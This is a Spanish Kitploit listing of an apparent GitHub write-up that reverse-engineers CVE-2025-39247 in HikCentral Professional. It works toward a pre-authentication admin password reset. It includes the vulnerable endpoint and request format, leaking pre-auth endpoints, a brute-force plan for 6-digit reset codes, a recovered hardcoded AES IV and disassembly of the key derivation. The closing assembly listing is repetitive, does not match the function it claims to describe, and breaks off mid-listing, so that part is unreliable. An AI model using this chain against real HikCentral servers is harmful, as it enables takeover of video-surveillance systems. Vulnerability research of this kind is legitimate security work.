Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-39247 — HikCentral Professional - Filtración de ActiveCode de Licencia Pre-Autenticación | Kitploit
Herramientas/GitHubGitHub/sita-technologies/cve-2025-39247
ReconocimientoAnálisis de VulnerabilidadesExplotaciónIngeniería InversaRecopilación de InformaciónSeguridad WebCriptografíaPruebas de PenetraciónAnálisis de Binarios
GitHubsita-technologies/cve-2025-39247

CVE-2025-39247

HikCentral Professional - Filtración de ActiveCode de Licencia Pre-Autenticación

hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2025-39247

  • Objetivo: HikCentral Professional (HCMP, servidor central VMS)
  • CVE: CVE-2025-39247 — Vulnerabilidad de Control de Acceso
  • CVSS 3.1: 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
  • Afectado: V2.3.1 – V2.6.2 y V3.0.0
  • Corregido: V2.6.3 / V3.0.1 / Fix-Pack CVE-2025-39247
  • Divulgado: 2025-08-28
  • Fecha de análisis: 2026-05-21

1. Pasada de inteligencia de código abierto

Antes de descargar cualquier cosa, lo que ya es público:

FuenteLo que nos dice
Aviso de seguridad de Hikvision"Faltan comprobaciones de autenticación en los endpoints de la API", consejo de actualizar a V2.6.3 / V3.0.1
NVD CVE-2025-39247Métricas CVSS; vector de red, sin autenticación, alcance modificado, confidencialidad alta
Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews resúmenesTodos reafirman el aviso; sin detalles técnicos, sin PoC, sin endpoint afectado nombrado
Agregadores de PoC de GitHub (poc-in-github, 0xMarcio/cve, etc.)No PoC indexado
Foros (ipcamtalk, cctvforum, reddit), índices de torrentsNo hay PoC, no hay instaladores filtrados; ipcamtalk tiene un hilo de uso de HikCentral pero nada relacionado con exploits.

Entonces, en la fecha de análisis, ningún informe técnico público expone el error. Cualquier reproducción comienza con el diff binario.


2. Adquisición

2.1 Instalador vulnerable (Paquete completo V2.6.2)

Después de que se publicó CVE-2025-39247, la página de descarga de V2.6.2 fue retirada, pero el archivo en la CDN nunca fue eliminado. El nombre del archivo se puede recuperar de un espejo de terceros que indexó la página antes de su eliminación (FileHorse — publicó nombre de archivo y MD5). Con ese nombre de archivo, una simple GET a la CDN de Hikvision — usando solo un User-Agent de navegador normal y un encabezado Referer coincidente — todavía lo sirve.```bash curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"

root@kitploit:~
Resultado:
- Tamaño: 1,314,043,792 bytes (1.22 GB)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — coincide con el valor publicado por FileHorse, confirmando que se trata del instalador genuino firmado por Hikvision (no un reempaquetado de terceros)
- Encabezados de respuesta CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29 días en la caché perimetral de Tencent EdgeOne sin desalojo)

**Observación colateral que vale la pena reportar a Hikvision PSIRT:** la "retirada" de la página de V2.6.2 es cosmética. El archivo huérfano es accesible en la CDN sin autenticación ni puerta de URL firmada. Los paquetes completos V2.5.1 y V2.6.0 responden de la misma manera.

### 2.2 Instalador parcheado (Paquete base V2.6.3)

Actualmente enlazado desde la página de descarga de V2.6.3; mismo método de obtención:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
  • Tamaño: 932,813,264 bytes (890 MB)
  • Última modificación: 2025-08-28 (fecha de divulgación de CVE)

2.3 Fix-Pack

Todavía vinculado desde la página de descarga de V2.6.2 (Hikvision quiere que los usuarios lo apliquen):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe

root@kitploit:~
- Size: 32,599,504 bytes (31 MB)

---

## 3. Extracción estática

Los tres son envoltorios PE al estilo InstallShield. `7z` los desempaqueta en dos pasadas:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>

# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
  for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
    sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
    7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
  done
done

Ambos instaladores se expanden en aproximadamente dos docenas de archivos de carga útil nombrados. Los directorios de nivel superior revelan la arquitectura:

Fundamentalmente, no hay JARs/WARs de Java en ninguna parte. El backend es C++ sobre Nginx — importante porque te indica de antemano que cualquier fallo de autenticación estará en binarios compilados, no en bytecode WAR/JAR donde la descompilación es trivial.


4. Diferencia a nivel de archivo```python

Build inventories

for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt

Sets: common-path + different MD5 → the patched files

v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]

root@kitploit:~
Resultado: 239 archivos modificados en rutas comunes. Distribución:

| Cubo | Cantidad | Comentario |
|---|---|---|
| `246/www/*.js` (fragmentos de Interfaz Web) | ~200 | Principalmente hashes de recursos con incremento de versión; ignorar |
| `246/Nginx/conf/nginx_location.conf` | **1** | **Delta de configuración de Nginx en un solo archivo — comenzar aquí** |
| `246/Nginx*/install.bat` | 6 | Scripts de instalación, no relacionados |
| `244/bin/*.{exe,dll}` | 6 | Binarios nativos (`DistributionFilter.dll`, `FilterChain.dll`, herramientas multimedia) |
| `282/*.{exe,dll}` | 55 | Servicios de aplicación (el clúster más grande — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | Reconstrucción de Postgres, no relacionado |
| `284/hplugin/dahua_plugin/*` | 4 | Actualización de SDK del proveedor (+10.97 MB) — no relacionado |
| `284/hplugin/onvif_plugin/*` | 4 | Actualización de SDK del proveedor (+0.99 MB) — no relacionado |
| stubs de actualización/desinstalación, reportes de fallos | ~30 | Reconstrucciones de marca de tiempo PE del mismo tamaño, ignorar |

Después de filtrar la actualización de SDK del proveedor, la deriva de marcas de tiempo del sistema de compilación y los incrementos puramente cosméticos de recursos, los *reales* deltas relevantes para la seguridad se reducen a:

- Un archivo de configuración de Nginx
- Un pequeño número de binarios C++ en `282/` (más prominentemente `platform.dll`, el servicio backend HCMP, +57 KB)

---

## 5. El diff de Nginx: localización de errores sin costo

`diff -u nginx_location.conf` entre V2.6.2 y V2.6.3 produce exactamente un hunk: un bloque `location =` completamente nuevo en V2.6.3.```nginx
#禁止非127.0.0.1和::1的重置密码                   ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
    if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
    if ($allowed != "1")   { return 403; }
    if ($scheme = "http")  { proxy_pass http://http_backend;  }
    if ($scheme = "https") { proxy_pass http://http2_backend; }
}

Esa única adición de 21 líneas es toda la corrección de CVE-2025-39247 en el nivel de la puerta principal, y te lo dice todo:

  • Punto final: PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword
  • Clase de error: en V2.6.2 la solicitud pasa a través de la directiva proxy comodín /ISAPI/Bumblebee/Platform/V0/* al backend sin restricción de dirección remota y sin verificación de autenticación a nivel de Nginx.
  • Semántica del backend: el manejador existe para establecer la contraseña de administrador predeterminada inicial durante la instalación (es decir, confía en que el llamante es el instalador local); la corrección hace explícita esa confianza.

El comentario en chino es relevante: se traduce literalmente como "Prohibir el restablecimiento de contraseña desde direcciones que no sean 127.0.0.1/::1".


6. Forma de la solicitud desde la interfaz web

El JavaScript de la interfaz web (minificado, en 246/www/Portal/*.js) llama al endpoint de la siguiente manera:

root@kitploit:~
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
  return http.put({
    url:    "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
    data:   { ChangeDefaultUserPasswordRequest: payload },
    params: { SID: sid }
  }, opts);
}

// Call site:
changeDefaultUserPassword(n.SID, {
    UserName:     form.userName,                         // "admin"
    Password:     jsEncrypt.encrypt(form.newPassword),   // RSA-PKCS1v15
    ActiveCode:   form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "",
    QuestionList: questionAnswers                        // [{ID, Answer}, …] or []
}, ...);

// The RSA pubkey comes from another unauthenticated endpoint:
getCrypto: function () {
    http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" });
}
// returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
```
Así que, incluso antes de desensamblar nada, el JS público te da la forma completa del cable. Pero también revela la parte incómoda: el cuerpo de la solicitud necesita **ya sea un `ActiveCode` válido o respuestas correctas de `QuestionList`**. Enviar valores vacíos no funciona — el backend rechaza con uno de los errores documentados (verificado mediante la minería de cadenas de `platform.dll`, §7).

Por lo tanto, CVE-2025-39247 **no** es "el endpoint es un bypass de autenticación; envía campos vacíos y la contraseña cambia". Es "el endpoint *confía en un llamante solo local* para que ya tenga el ActiveCode correcto; el error es que la puerta de red a nivel de localhost falta, por lo que cualquier *llamante remoto* que *también* pueda suministrar un ActiveCode válido o QuestionList tiene éxito". Por lo tanto, el verdadero rompecabezas del exploit es: ¿de dónde viene el ActiveCode o la QuestionList?

---

## 7. Manejador del backend — minería de cadenas de `platform.dll`

`platform.dll` es el servicio backend de HCMP, 46.87 MB en V2.6.2, 46.93 MB en V2.6.3 (+57 KB). Todas las cadenas de enrutamiento, cadenas de formato de registro, y RTTI de C++ / cadenas `__FUNCTION__` están presentes en claro.

Cadenas dentro de `platform.dll` alrededor del manejador:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer

[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
```
Ambas versiones de `platform.dll` contienen estas cadenas. Así que la lógica de validación existe también en V2.6.2 — `ActiveCode` y `QuestionList` *son* verificadas.

### 7.1 ¿Qué hay de nuevo en V2.6.3 en este handler? (defence-in-depth fingerprints)

Cadenas que existen en V2.6.3 `platform.dll` y *no* en V2.6.2:```
# An entirely new C++ class — rate-limit / lockout subsystem:
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime
VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze
..\..\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp
[%s]AddAccountLoginFailCount only admin can lock, but id: %d

# Application-level remote-addr literal:
127.0.0.1

# Literal "admin" appearing twice near the handler:
admin

# Token validation:
VSMPlatform::CCmd::CheckToken
/ResponseStatus/Data/TokenValid
[%s]token = %s, session = %s

# Lockout/throttle response fields:
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber
/ResponseStatus/Data/RetrievePasswordResult/LockRemainTime
/ResponseStatus/Data/RetrievePasswordResult/RemainingType
```
Traducción: V2.6.2 no tenía **ningún** límite de tasa en la ruta de validación `ChangeDefaultUserPassword`. Un atacante que proporcione un ActiveCode incorrecto o respuestas incorrectas a las preguntas de seguridad solo recibe un error y puede reintentar indefinidamente. La cadena de formato del código de verificación `%06d` también está en `platform.dll` (junto con el esquema SQL `verify_code VARCHAR(64)`), lo que confirma que el código de verificación por correo electrónico es un **decimal de 6 dígitos**, espacio de búsqueda 10⁶.

Esto ya es un exploit viable (ruta A): activar `SendVerifyCode`, hacer fuerza bruta de 10⁶ códigos dentro de la ventana de expiración sin bloqueo. A 1000 req/s, el tiempo medio hasta el éxito ≈ 8 minutos. Pero hay una ruta más precisa.

---

## 8. La superficie de divulgación de información pre-autenticación

La enumeración de endpoints en `platform.dll` revela varios hermanos que parecen relacionados:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
```
Ninguno de estos está restringido por `nginx_location.conf`; todos pasan a través del mismo proxy predeterminado `/ISAPI/Bumblebee/Platform/*`. Las cadenas del handler muestran lo que devuelven:```
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
```
So `RetrieveStateInfo(Name=admin)` devuelve el correo electrónico de admin, si la recuperación por pregunta de seguridad está configurada, si la recuperación por correo electrónico está configurada y la vida útil restante de cualquier código de verificación en tránsito — a cualquiera, sin autenticación.

`RetrieveStateInfo` no está bloqueado por el parche V2.6.3. La divulgación de información persiste en V2.6.3.

---

## 9. La superficie de ataque license/QR

El endpoint `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` es llamativo porque su nombre empareja *License* con *ActiveCode* — y el manejador de restablecimiento de contraseña también acepta un campo `ActiveCode`. Eso es una superposición sospechosa de terminología.

Cadenas accesibles desde ese manejador:```
License:%s;DZP:%s                                    ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s           ← AES path used to encrypt
[%s]Base64Encode failed! data:%s                     ← then base64
/ResponseStatus/Data/QRCode                          ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
```
Por lo tanto, el código QR es `Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) )` y el texto plano contiene literalmente el ActiveCode de licencia por instalación que valida el endpoint de restablecimiento de contraseña. El QR está envuelto en una plantilla de URL `https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext>` que luego se renderiza como un PNG de código QR; el PNG es lo que devuelve el campo de respuesta JSON `Data.QRCode`.

**Confirmación por diff de V2.6.3:** la cadena de formato `License:%s;DZP:%s` existe en V2.6.2 `platform.dll` y se **elimina en V2.6.3**. El propio endpoint del QR, el símbolo de función `PrivateAESEncrptQRCode` y el literal IV (§10) persisten todos en V2.6.3 — solo se eliminó el formato de texto plano con fuga. Eso es exactamente lo que cabría esperar de una corrección de Hikvision.

---

## 10. Recuperación de la clave AES y el IV mediante desensamblado

Este es el paso que requiere más trabajo. Plan:

1. Encontrar la función `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` en `platform.dll`.
2. Leer su configuración de clave + IV.
3. O bien ambos son bytes literales que se pueden leer directamente, o están calculados — en cuyo caso seguir el cálculo.

### 10.1 Localización de la función

La cadena de formato de error `[%s]PrivateAESEncrptQRCode failed! data:%s` reside en `.rdata`. Encuentre su VMA en `.rdata`, luego escanee `.text` en busca de instrucciones `lea r, [rip + rel32]` que resuelvan a esa VMA. (Para 16 MB de `.text` esto toma unos segundos con `pefile + capstone` haciendo un recorrido lineal del patrón REX.W + 8D + MODRM mod=00 rm=101).

El registro de error se referencia desde exactamente una instrucción en `0x1812553f7`. Ascendiendo hasta la función contenedora a través de `.pdata` (la tabla de desenredo x64 del PE — encabezado de sección analizable con `pefile`, doce bytes por entrada RUNTIME_FUNCTION: start_RVA, end_RVA, unwind_RVA) se obtiene el manejador ISAPI externo `CLicenseISAPIComm::ActiveCodeQRcode` en `0x181254cc0..0x181255919`.

Esa función externa construye la cadena de texto plano `"License:%s;DZP:%s"` y codifica en base64 el resultado; la llamada real a AES está en una función auxiliar un nivel más abajo, en `0x18002a397` (se resuelve mediante un jmp thunk a una función de 502 bytes cuya cadena RTTI es `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` — confirmado por xref de cadena).

### 10.2 Dentro del envoltorio AES en `0x1807d33e0`

Desensamblando el cuerpo de 502 bytes y listando cada `lea r, [rip + rel32]` cuyo destino aterrice en `.rdata` devuelve solo 5 referencias a cadenas:```
0x1807d34d2  -> 0x18200b1b0  len=16  'AaBbCcDd1234!@#$'           ← 16 bytes of letters/digits/symbols
0x1807d3516  -> 0x18200b1d0  len=48  '..\..\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a  -> 0x18200b218  len=48  'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531  -> 0x18200b250  len=23  '[%s]error is %d[%s(%d)]'
0x1807d3538  -> 0x18200b268  len=23  'platform.PriorityLogger'
```
La primera entrada es la única referencia de cadena de 16 bytes. Esa longitud es sospechosa: el bloque AES, la clave y el IV tienen todos 16 bytes para AES-128. El literal `AaBbCcDd1234!@#$` — ocho pares de letras alternando mayúsculas y minúsculas seguidas de `1234!@#$` — también tiene la forma clásica de "constante de marcador de posición para desarrolladores" (similar a los modismos ASCII *reales* `BAADF00D` / `DEADBEEF`). En este punto, una hipótesis sensata es "este es el IV".

Esa hipótesis se ve respaldada por el contexto del desensamblaje. La secuencia de instrucciones alrededor de la referencia de cadena:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov  dword ptr [rsp + 0x100], 5             ; some flag = 5
lea  rdx, [rip + 0x1837cd7]                 ; <— loads "AaBbCcDd1234!@#$"
lea  rcx, [rsp + 0xe0]                      ; destination
call <thunk>                                ; std::string assign-like; copies 16B into [rsp+0xe0]
mov  dword ptr [rsp + 0x104], 1
lea  rdx, [rsp + 0xa0]                      ; pass: rdx = key  (16B at [rsp+0xa0])
lea  rcx, [rsp + 0x60]                      ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563>       ; → 0x181b03790, a generic AES mode-dispatcher
                                            ;   that imports AES_cbc_encrypt, AES_cfb128_encrypt,
                                            ;   AES_ecb_encrypt and AES_ofb128_encrypt.
                                            ;   QR path takes the AES_cbc_encrypt branch.
```
So `[rsp+0xe0]` termina conteniendo los bytes del IV, `[rsp+0xa0]` contiene 16 bytes construidos previamente en `[rsp+0xc0]` (la clave), y estos dos buffers se pasan luego al wrapper de OpenSSL. Confirmar la recuperación del IV es solo cuestión de verificación cruzada: `platform.dll` de V2.6.3 aún contiene la cadena literal `AaBbCcDd1234!@#$` en el mismo desplazamiento — Hikvision no rotó el IV, lo cual es la elección criptográfica *correcta* (solo la clave debe ser secreta, el IV debe ser único por mensaje, pero un IV fijo es "débil", no "roto" de la misma manera que lo sería una clave *fija*).

### 10.3 La construcción de la clave

Inmediatamente por encima de la referencia a la cadena del IV, el wrapper configura la clave con esta corta secuencia:```asm
mov  dl, 0x41                               ; seed byte = 'A'
lea  rcx, [rsp + 0x140]                     ; this-pointer for a local buffer
call <thunk 0x1800683fe>                    ; → 0x1807d19b0  (599-byte function)
mov  [rsp + 0x50], rax
mov  rdx, [rsp + 0x50]                      ; rdx = pointer to the 16-byte buffer the call just produced
lea  rcx, [rsp + 0xc0]
call <std::string assign>                   ; copy the 16 bytes into the key buffer at [rsp+0xc0]
```
Luego desensamblando `0x1807d19b0`: es una *función de derivación de clave puramente aritmética*. Toma un byte como entrada (el `0x41`), asigna 16 bytes de pila, y escribe 16 valores cada uno calculado como `seed + offset_i` para una secuencia hardcodeada de 16 offsets con signo:

```
0x1807d19b0:  48 63 4c 24 08          movsxd rcx, dword ptr [rsp+8]
0x1807d19b5:  0f b6 04 0a             movzx  eax, byte ptr [rdx+rcx]
0x1807d19b9:  0f b6 c8                movzx  ecx, al
0x1807d19bc:  48 8d 0c 0d 00 00 00 00 lea    rcx, [rcx*8]
0x1807d19c4:  48 8d 15 35 24 00 00    lea    rdx, [rip+0x2435]
0x1807d19cb:  48 03 ca                add    rcx, rdx
0x1807d19ce:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d19d2:  48 8d 0d 27 24 00 00    lea    rcx, [rip+0x2427]
0x1807d19d9:  48 03 ca                add    rcx, rdx
0x1807d19dc:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d19e0:  48 8d 0d 19 24 00 00    lea    rcx, [rip+0x2419]
0x1807d19e7:  48 03 ca                add    rcx, rdx
0x1807d19ea:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d19ee:  48 8d 0d 0b 24 00 00    lea    rcx, [rip+0x240b]
0x1807d19f5:  48 03 ca                add    rcx, rdx
0x1807d19f8:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d19fc:  48 8d 0d fd 23 00 00    lea    rcx, [rip+0x23fd]
0x1807d1a03:  48 03 ca                add    rcx, rdx
0x1807d1a06:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a0a:  48 8d 0d ef 23 00 00    lea    rcx, [rip+0x23ef]
0x1807d1a11:  48 03 ca                add    rcx, rdx
0x1807d1a14:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a18:  48 8d 0d e1 23 00 00    lea    rcx, [rip+0x23e1]
0x1807d1a1f:  48 03 ca                add    rcx, rdx
0x1807d1a22:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a26:  48 8d 0d d3 23 00 00    lea    rcx, [rip+0x23d3]
0x1807d1a2d:  48 03 ca                add    rcx, rdx
0x1807d1a30:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a34:  48 8d 0d c5 23 00 00    lea    rcx, [rip+0x23c5]
0x1807d1a3b:  48 03 ca                add    rcx, rdx
0x1807d1a3e:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a42:  48 8d 0d b7 23 00 00    lea    rcx, [rip+0x23b7]
0x1807d1a49:  48 03 ca                add    rcx, rdx
0x1807d1a4c:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a50:  48 8d 0d a9 23 00 00    lea    rcx, [rip+0x23a9]
0x1807d1a57:  48 03 ca                add    rcx, rdx
0x1807d1a5a:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a5e:  48 8d 0d 9b 23 00 00    lea    rcx, [rip+0x239b]
0x1807d1a65:  48 03 ca                add    rcx, rdx
0x1807d1a68:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a6c:  48 8d 0d 8d 23 00 00    lea    rcx, [rip+0x238d]
0x1807d1a73:  48 03 ca                add    rcx, rdx
0x1807d1a76:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a7a:  48 8d 0d 7f 23 00 00    lea    rcx, [rip+0x237f]
0x1807d1a81:  48 03 ca                add    rcx, rdx
0x1807d1a84:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a88:  48 8d 0d 71 23 00 00    lea    rcx, [rip+0x2371]
0x1807d1a8f:  48 03 ca                add    rcx, rdx
0x1807d1a92:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1a96:  48 8d 0d 63 23 00 00    lea    rcx, [rip+0x2363]
0x1807d1a9d:  48 03 ca                add    rcx, rdx
0x1807d1aa0:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1aa4:  48 8d 0d 55 23 00 00    lea    rcx, [rip+0x2355]
0x1807d1aab:  48 03 ca                add    rcx, rdx
0x1807d1aae:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1ab2:  48 8d 0d 47 23 00 00    lea    rcx, [rip+0x2347]
0x1807d1ab9:  48 03 ca                add    rcx, rdx
0x1807d1abc:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1ac0:  48 8d 0d 39 23 00 00    lea    rcx, [rip+0x2339]
0x1807d1ac7:  48 03 ca                add    rcx, rdx
0x1807d1aca:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1ace:  48 8d 0d 2b 23 00 00    lea    rcx, [rip+0x232b]
0x1807d1ad5:  48 03 ca                add    rcx, rdx
0x1807d1ad8:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1adc:  48 8d 0d 1d 23 00 00    lea    rcx, [rip+0x231d]
0x1807d1ae3:  48 03 ca                add    rcx, rdx
0x1807d1ae6:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1aea:  48 8d 0d 0f 23 00 00    lea    rcx, [rip+0x230f]
0x1807d1af1:  48 03 ca                add    rcx, rdx
0x1807d1af4:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1af8:  48 8d 0d 01 23 00 00    lea    rcx, [rip+0x2301]
0x1807d1aff:  48 03 ca                add    rcx, rdx
0x1807d1b02:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b06:  48 8d 0d f3 22 00 00    lea    rcx, [rip+0x22f3]
0x1807d1b0d:  48 03 ca                add    rcx, rdx
0x1807d1b10:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b14:  48 8d 0d e5 22 00 00    lea    rcx, [rip+0x22e5]
0x1807d1b1b:  48 03 ca                add    rcx, rdx
0x1807d1b1e:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b22:  48 8d 0d d7 22 00 00    lea    rcx, [rip+0x22d7]
0x1807d1b29:  48 03 ca                add    rcx, rdx
0x1807d1b2c:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b30:  48 8d 0d c9 22 00 00    lea    rcx, [rip+0x22c9]
0x1807d1b37:  48 03 ca                add    rcx, rdx
0x1807d1b3a:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b3e:  48 8d 0d bb 22 00 00    lea    rcx, [rip+0x22bb]
0x1807d1b45:  48 03 ca                add    rcx, rdx
0x1807d1b48:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b4c:  48 8d 0d ad 22 00 00    lea    rcx, [rip+0x22ad]
0x1807d1b53:  48 03 ca                add    rcx, rdx
0x1807d1b56:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b5a:  48 8d 0d 9f 22 00 00    lea    rcx, [rip+0x229f]
0x1807d1b61:  48 03 ca                add    rcx, rdx
0x1807d1b64:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b68:  48 8d 0d 91 22 00 00    lea    rcx, [rip+0x2291]
0x1807d1b6f:  48 03 ca                add    rcx, rdx
0x1807d1b72:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b76:  48 8d 0d 83 22 00 00    lea    rcx, [rip+0x2283]
0x1807d1b7d:  48 03 ca                add    rcx, rdx
0x1807d1b80:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b84:  48 8d 0d 75 22 00 00    lea    rcx, [rip+0x2275]
0x1807d1b8b:  48 03 ca                add    rcx, rdx
0x1807d1b8e:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1b92:  48 8d 0d 67 22 00 00    lea    rcx, [rip+0x2267]
0x1807d1b99:  48 03 ca                add    rcx, rdx
0x1807d1b9c:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1ba0:  48 8d 0d 59 22 00 00    lea    rcx, [rip+0x2259]
0x1807d1ba7:  48 03 ca                add    rcx, rdx
0x1807d1baa:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1bae:  48 8d 0d 4b 22 00 00    lea    rcx, [rip+0x224b]
0x1807d1bb5:  48 03 ca                add    rcx, rdx
0x1807d1bb8:  48 8d 14 0a             lea    rdx, [rdx+rcx]
0x1807d1bbc:  48 8d 0d 3d 22 00 00    lea    rcx, [rip+0x223d]
0x1807d1bc3:  48 03 ca                add    rcx, rdx
